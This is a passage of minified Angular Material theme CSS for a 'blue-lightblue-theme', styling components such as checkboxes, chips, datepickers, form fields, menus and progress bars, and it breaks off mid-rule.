.mat-button-toggle-group-appearance-standard:not([class*=mat-elevation-z]){box-shadow:none}.blue-lightblue-theme .mat-button-toggle{color:#00000061}.blue-lightblue-theme .mat-button-toggle .mat-button-toggle-focus-overlay{background-color:#0000001f}.blue-lightblue-theme .mat-button-toggle-appearance-standard{color:#000000de;background:white}.blue-lightblue-theme .mat-button-toggle-appearance-standard .mat-button-toggle-focus-overlay{background-color:#000}.blue-lightblue-theme .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:solid 1px #e0e0e0}.blue-lightblue-theme [dir=rtl] .mat-button-toggle-group-appearance-standard .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:solid 1px #e0e0e0}.blue-lightblue-theme .mat-button-toggle-group-appearance-standard.mat-button-toggle-vertical .mat-button-toggle+.mat-button-toggle{border-left:none;border-right:none;border-top:solid 1px #e0e0e0}.blue-lightblue-theme .mat-button-toggle-checked{background-color:#e0e0e0;color:#0000008a}.blue-lightblue-theme .mat-button-toggle-checked.mat-button-toggle-appearance-standard{color:#000000de}.blue-lightblue-theme .mat-button-toggle-disabled{color:#00000042;background-color:#eee}.blue-lightblue-theme .mat-button-toggle-disabled.mat-button-toggle-appearance-standard{background:white}.blue-lightblue-theme .mat-button-toggle-disabled.mat-button-toggle-checked{background-color:#bdbdbd}.blue-lightblue-theme .mat-button-toggle-standalone.mat-button-toggle-appearance-standard,.blue-lightblue-theme .mat-button-toggle-group-appearance-standard{border:solid 1px #e0e0e0}.blue-lightblue-theme .mat-card{background:white;color:#000000de}.blue-lightblue-theme .mat-card:not([class*=mat-elevation-z]){box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f}.blue-lightblue-theme .mat-card.mat-card-flat:not([class*=mat-elevation-z]){box-shadow:0 0 #0003,0 0 #00000024,0 0 #0000001f}.blue-lightblue-theme .mat-card-subtitle{color:#0000008a}.blue-lightblue-theme .mat-checkbox-frame{border-color:#0000008a}.blue-lightblue-theme .mat-checkbox-checkmark{fill:#fafafa}.blue-lightblue-theme .mat-checkbox-checkmark-path{stroke:#fafafa!important}.blue-lightblue-theme .mat-checkbox-mixedmark{background-color:#fafafa}.blue-lightblue-theme .mat-checkbox-indeterminate.mat-primary .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-checked.mat-primary .mat-checkbox-background{background-color:#1976d2}.blue-lightblue-theme .mat-checkbox-indeterminate.mat-accent .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-checked.mat-accent .mat-checkbox-background{background-color:#0288d1}.blue-lightblue-theme .mat-checkbox-indeterminate.mat-warn .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-checked.mat-warn .mat-checkbox-background{background-color:#f44336}.blue-lightblue-theme .mat-checkbox-disabled.mat-checkbox-checked .mat-checkbox-background,.blue-lightblue-theme .mat-checkbox-disabled.mat-checkbox-indeterminate .mat-checkbox-background{background-color:#b0b0b0}.blue-lightblue-theme .mat-checkbox-disabled:not(.mat-checkbox-checked) .mat-checkbox-frame{border-color:#b0b0b0}.blue-lightblue-theme .mat-checkbox-disabled .mat-checkbox-label{color:#00000061}.blue-lightblue-theme .mat-checkbox .mat-ripple-element{background-color:#000}.blue-lightblue-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element,.blue-lightblue-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-primary .mat-ripple-element{background:#1976d2}.blue-lightblue-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element,.blue-lightblue-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-accent .mat-ripple-element{background:#0288d1}.blue-lightblue-theme .mat-checkbox-checked:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element,.blue-lightblue-theme .mat-checkbox:active:not(.mat-checkbox-disabled).mat-warn .mat-ripple-element{background:#f44336}.blue-lightblue-theme .mat-chip.mat-standard-chip{background-color:#e0e0e0;color:#000000de}.blue-lightblue-theme .mat-chip.mat-standard-chip .mat-chip-remove{color:#000000de;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled):active{box-shadow:0 3px 3px -2px #0003,0 3px 4px #00000024,0 1px 8px #0000001f}.blue-lightblue-theme .mat-chip.mat-standard-chip:not(.mat-chip-disabled) .mat-chip-remove:hover{opacity:.54}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-disabled{opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip:after{background:black}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary{background-color:#1976d2;color:#fff}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-chip-remove{color:#fff;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-primary .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#0288d1;color:#fff}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}.blue-lightblue-theme .mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background-color:#ffffff1a}.blue-lightblue-theme .mat-table{background:white}.blue-lightblue-theme .mat-table thead,.blue-lightblue-theme .mat-table tbody,.blue-lightblue-theme .mat-table tfoot,.blue-lightblue-theme mat-header-row,.blue-lightblue-theme mat-row,.blue-lightblue-theme mat-footer-row,.blue-lightblue-theme [mat-header-row],.blue-lightblue-theme [mat-row],.blue-lightblue-theme [mat-footer-row],.blue-lightblue-theme .mat-table-sticky{background:inherit}.blue-lightblue-theme mat-row,.blue-lightblue-theme mat-header-row,.blue-lightblue-theme mat-footer-row,.blue-lightblue-theme th.mat-header-cell,.blue-lightblue-theme td.mat-cell,.blue-lightblue-theme td.mat-footer-cell{border-bottom-color:#0000001f}.blue-lightblue-theme .mat-header-cell{color:#0000008a}.blue-lightblue-theme .mat-cell,.blue-lightblue-theme .mat-footer-cell{color:#000000de}.blue-lightblue-theme .mat-calendar-arrow{fill:#0000008a}.blue-lightblue-theme .mat-datepicker-toggle,.blue-lightblue-theme .mat-datepicker-content .mat-calendar-next-button,.blue-lightblue-theme .mat-datepicker-content .mat-calendar-previous-button{color:#0000008a}.blue-lightblue-theme .mat-calendar-table-header-divider:after{background:rgba(0,0,0,.12)}.blue-lightblue-theme .mat-calendar-table-header,.blue-lightblue-theme .mat-calendar-body-label{color:#0000008a}.blue-lightblue-theme .mat-calendar-body-cell-content,.blue-lightblue-theme .mat-date-range-input-separator{color:#000000de;border-color:transparent}.blue-lightblue-theme .mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){color:#00000061}.blue-lightblue-theme .mat-form-field-disabled .mat-date-range-input-separator{color:#00000061}.blue-lightblue-theme .mat-calendar-body-in-preview{color:#0000003d}.blue-lightblue-theme .mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#00000061}.blue-lightblue-theme .mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){border-color:#0000002e}.blue-lightblue-theme .mat-calendar-body-in-range:before{background:rgba(25,118,210,.2)}.blue-lightblue-theme .mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.blue-lightblue-theme .mat-calendar-body-comparison-bridge-start:before,.blue-lightblue-theme [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(25,118,210,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-calendar-body-comparison-bridge-end:before,.blue-lightblue-theme [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(25,118,210,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.blue-lightblue-theme .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.blue-lightblue-theme .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.blue-lightblue-theme .mat-calendar-body-selected{background-color:#1976d2;color:#fff}.blue-lightblue-theme .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#1976d266}.blue-lightblue-theme .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.blue-lightblue-theme .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.blue-lightblue-theme .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1976d24d}@media (hover: hover){.blue-lightblue-theme .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#1976d24d}}.blue-lightblue-theme .mat-datepicker-content{box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f;background-color:#fff;color:#000000de}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range:before{background:rgba(2,136,209,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-start:before,.blue-lightblue-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(2,136,209,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-bridge-end:before,.blue-lightblue-theme .mat-datepicker-content.mat-accent [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(2,136,209,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#0288d1;color:#fff}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#0288d166}.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.blue-lightblue-theme .mat-datepicker-content.mat-accent .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.blue-lightblue-theme .mat-datepicker-content.mat-accent .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#0288d14d}@media (hover: hover){.blue-lightblue-theme .mat-datepicker-content.mat-accent .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#0288d14d}}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range:before{background:rgba(244,67,54,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range:before{background:rgba(249,171,0,.2)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-start:before,.blue-lightblue-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-end:before{background:linear-gradient(to right,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-bridge-end:before,.blue-lightblue-theme .mat-datepicker-content.mat-warn [dir=rtl] .mat-calendar-body-comparison-bridge-start:before{background:linear-gradient(to left,rgba(244,67,54,.2) 50%,rgba(249,171,0,.2) 50%)}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-range>.mat-calendar-body-comparison-identical,.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range.mat-calendar-body-in-range:after{background:#a8dab5}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-comparison-identical.mat-calendar-body-selected,.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-in-comparison-range>.mat-calendar-body-selected{background:#46a35e}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:#f4433666}.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}.blue-lightblue-theme .mat-datepicker-content.mat-warn .cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical),.blue-lightblue-theme .mat-datepicker-content.mat-warn .cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}@media (hover: hover){.blue-lightblue-theme .mat-datepicker-content.mat-warn .mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected):not(.mat-calendar-body-comparison-identical){background-color:#f443364d}}.blue-lightblue-theme .mat-datepicker-content-touch{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f}.blue-lightblue-theme .mat-datepicker-toggle-active{color:#1976d2}.blue-lightblue-theme .mat-datepicker-toggle-active.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-datepicker-toggle-active.mat-warn{color:#f44336}.blue-lightblue-theme .mat-date-range-input-inner[disabled]{color:#00000061}.blue-lightblue-theme .mat-dialog-container{box-shadow:0 11px 15px -7px #0003,0 24px 38px 3px #00000024,0 9px 46px 8px #0000001f;background:white;color:#000000de}.blue-lightblue-theme .mat-divider{border-top-color:#0000001f}.blue-lightblue-theme .mat-divider-vertical{border-right-color:#0000001f}.blue-lightblue-theme .mat-expansion-panel{background:white;color:#000000de}.blue-lightblue-theme .mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px #0003,0 2px 2px #00000024,0 1px 5px #0000001f}.blue-lightblue-theme .mat-action-row{border-top-color:#0000001f}.blue-lightblue-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.blue-lightblue-theme .mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.blue-lightblue-theme .mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}@media (hover: none){.blue-lightblue-theme .mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:white}}.blue-lightblue-theme .mat-expansion-panel-header-title{color:#000000de}.blue-lightblue-theme .mat-expansion-panel-header-description,.blue-lightblue-theme .mat-expansion-indicator:after{color:#0000008a}.blue-lightblue-theme .mat-expansion-panel-header[aria-disabled=true]{color:#00000042}.blue-lightblue-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title,.blue-lightblue-theme .mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description{color:inherit}.blue-lightblue-theme .mat-form-field-label,.blue-lightblue-theme .mat-hint{color:#0009}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-label{color:#1976d2}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}.blue-lightblue-theme .mat-focused .mat-form-field-required-marker{color:#0288d1}.blue-lightblue-theme .mat-form-field-ripple{background-color:#000000de}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-ripple{background-color:#1976d2}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix:after{color:#1976d2}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix:after{color:#0288d1}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix:after{color:#f44336}.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label,.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent,.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker{color:#f44336}.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.blue-lightblue-theme .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}.blue-lightblue-theme .mat-error{color:#f44336}.blue-lightblue-theme .mat-form-field-appearance-legacy .mat-form-field-label,.blue-lightblue-theme .mat-form-field-appearance-legacy .mat-hint{color:#0000008a}.blue-lightblue-theme .mat-form-field-appearance-legacy .mat-form-field-underline{background-color:#0000006b}.blue-lightblue-theme .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.blue-lightblue-theme .mat-form-field-appearance-standard .mat-form-field-underline{background-color:#0000006b}.blue-lightblue-theme .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0%,rgba(0,0,0,.42) 33%,transparent 0%);background-size:4px 100%;background-repeat:repeat-x}.blue-lightblue-theme .mat-form-field-appearance-fill .mat-form-field-flex{background-color:#0000000a}.blue-lightblue-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:#00000005}.blue-lightblue-theme .mat-form-field-appearance-fill .mat-form-field-underline:before{background-color:#0000006b}.blue-lightblue-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:#00000061}.blue-lightblue-theme .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline:before{background-color:transparent}.blue-lightblue-theme .mat-form-field-appearance-outline .mat-form-field-outline{color:#0000001f}.blue-lightblue-theme .mat-form-field-appearance-outline .mat-form-field-outline-thick{color:#000000de}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#1976d2}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#0288d1}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick,.blue-lightblue-theme .mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:#00000061}.blue-lightblue-theme .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:#0000000f}.blue-lightblue-theme .mat-icon.mat-primary{color:#1976d2}.blue-lightblue-theme .mat-icon.mat-accent{color:#0288d1}.blue-lightblue-theme .mat-icon.mat-warn{color:#f44336}.blue-lightblue-theme .mat-form-field-type-mat-native-select .mat-form-field-infix:after{color:#0000008a}.blue-lightblue-theme .mat-input-element:disabled,.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix:after{color:#00000061}.blue-lightblue-theme .mat-input-element{caret-color:#1976d2}.blue-lightblue-theme .mat-input-element::placeholder{color:#0000006b}.blue-lightblue-theme .mat-input-element::-moz-placeholder{color:#0000006b}.blue-lightblue-theme .mat-input-element::-webkit-input-placeholder{color:#0000006b}.blue-lightblue-theme .mat-input-element:-ms-input-placeholder{color:#0000006b}.blue-lightblue-theme .mat-form-field.mat-accent .mat-input-element{caret-color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-warn .mat-input-element,.blue-lightblue-theme .mat-form-field-invalid .mat-input-element{caret-color:#f44336}.blue-lightblue-theme .mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix:after{color:#f44336}.blue-lightblue-theme .mat-list-base .mat-list-item,.blue-lightblue-theme .mat-list-base .mat-list-option{color:#000000de}.blue-lightblue-theme .mat-list-base .mat-subheader{color:#0000008a}.blue-lightblue-theme .mat-list-base .mat-list-item-disabled{background-color:#eee;color:#00000061}.blue-lightblue-theme .mat-list-option:hover,.blue-lightblue-theme .mat-list-option:focus,.blue-lightblue-theme .mat-nav-list .mat-list-item:hover,.blue-lightblue-theme .mat-nav-list .mat-list-item:focus,.blue-lightblue-theme .mat-action-list .mat-list-item:hover,.blue-lightblue-theme .mat-action-list .mat-list-item:focus{background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-list-single-selected-option,.blue-lightblue-theme .mat-list-single-selected-option:hover,.blue-lightblue-theme .mat-list-single-selected-option:focus{background:rgba(0,0,0,.12)}.blue-lightblue-theme .mat-menu-panel{background:white}.blue-lightblue-theme .mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-menu-item{background:transparent;color:#000000de}.blue-lightblue-theme .mat-menu-item[disabled],.blue-lightblue-theme .mat-menu-item[disabled] .mat-menu-submenu-icon,.blue-lightblue-theme .mat-menu-item[disabled] .mat-icon-no-color{color:#00000061}.blue-lightblue-theme .mat-menu-item .mat-icon-no-color,.blue-lightblue-theme .mat-menu-submenu-icon{color:#0000008a}.blue-lightblue-theme .mat-menu-item:hover:not([disabled]),.blue-lightblue-theme .mat-menu-item.cdk-program-focused:not([disabled]),.blue-lightblue-theme .mat-menu-item.cdk-keyboard-focused:not([disabled]),.blue-lightblue-theme .mat-menu-item-highlighted:not([disabled]){background:rgba(0,0,0,.04)}.blue-lightblue-theme .mat-paginator{background:white}.blue-lightblue-theme .mat-paginator,.blue-lightblue-theme .mat-paginator-page-size .mat-select-trigger{color:#0000008a}.blue-lightblue-theme .mat-paginator-decrement,.blue-lightblue-theme .mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}.blue-lightblue-theme .mat-paginator-first,.blue-lightblue-theme .mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-decrement,.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-increment,.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-first,.blue-lightblue-theme .mat-icon-button[disabled] .mat-paginator-last{border-color:#00000061}.blue-lightblue-theme .mat-progress-bar-background{fill:#c2d9f0}.blue-lightblue-theme .mat-progress-bar-buffer{background-color:#c2d9f0}.blue-lightblue-theme .mat-progress-bar-fill:after{background-color:#1976d2}.blue-lightblue-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#bcdef0}.blue-lightblue-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#bcdef0}.blue-lightblue-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#0288d1}.blue-lightblue-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#f9ccc9}.blue-lightblue-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#f9ccc9}.blue-lightblue-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.blue-lightblue-theme .mat-progress-spinner circle,.blue-lightblue-theme .mat-spinner circle{stroke:#1976d2}.blue-lightblue-theme .mat-progress-spinner.mat-accent circle,.blue-lightblue-theme .mat-spinner.mat-accent circle{stroke:#0288d1}.blue-lightblue-theme .mat-progress-spinner.mat-warn circle,.blue-lightblue-theme .mat-spinner.mat-warn circle{stroke:#f44336}.blue-lightblue-theme .mat-radio-outer-circle{border-color:#0000008a}.blue-lightblue-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#1976d2}.blue-lightblue-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.blue-lightblue-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.blue-lightblue-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.blue-lightblue-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#1976d2}.blue-lightblue-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#0288d1}.blue-lightblue-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.blue-lightblue-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.blue-lightblue-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.blue-lightblue-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#0288d1}.blue-lightblue-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.blue-lightblue-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.blue-lightblue-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.blue-lightblue-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.blue-lightblue-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.blue-lightblue-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#00000061}.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#00000061}.blue-lightblue-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#00000061}.blue-lightblue-theme .mat-radio-button .mat-ripple-element{background-color:#000}.blue-lightblue-theme .mat-select-value{color:#000000de}.blue-lightblue-theme .mat-select-placeholder{color:#0000006b}.blue-lightblue-theme .mat-select-disabled .mat-select-value{color:#00000061}.blue-lightblue-theme .mat-select-arrow{color:#0000008a}.blue-lightblue-theme .mat-select-panel{background:white}.blue-lightblue-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.blue-lightblue-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}.blue-lightblue-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#1976d2}.blue-lightblue-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#0288d1}.blue-lightblue-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.blue-lightblue-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.blue-lightblue-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#00000061}.blue-lightblue-theme .mat-drawer-container{background-color:#fafafa;color:#000000de}.blue-lightblue-theme .mat-drawer{background-color:#fff;color:#000000de}.blue-lightblue-theme .mat-drawer.mat-drawer-push{background-color:#fff}.blue-lightblue-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.blue-lightblue-theme .mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}.blue-lightblue-theme .mat-drawer-side.mat-drawer-end,.blue-lightblue-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}.blue-lightblue-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}.blue-lightblue-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#0009}.blue-lightblue-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#0288d1}.blue-lightblue-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#0288d18a}.blue-lightblue-theme .mat-slide-toggle.mat-checked 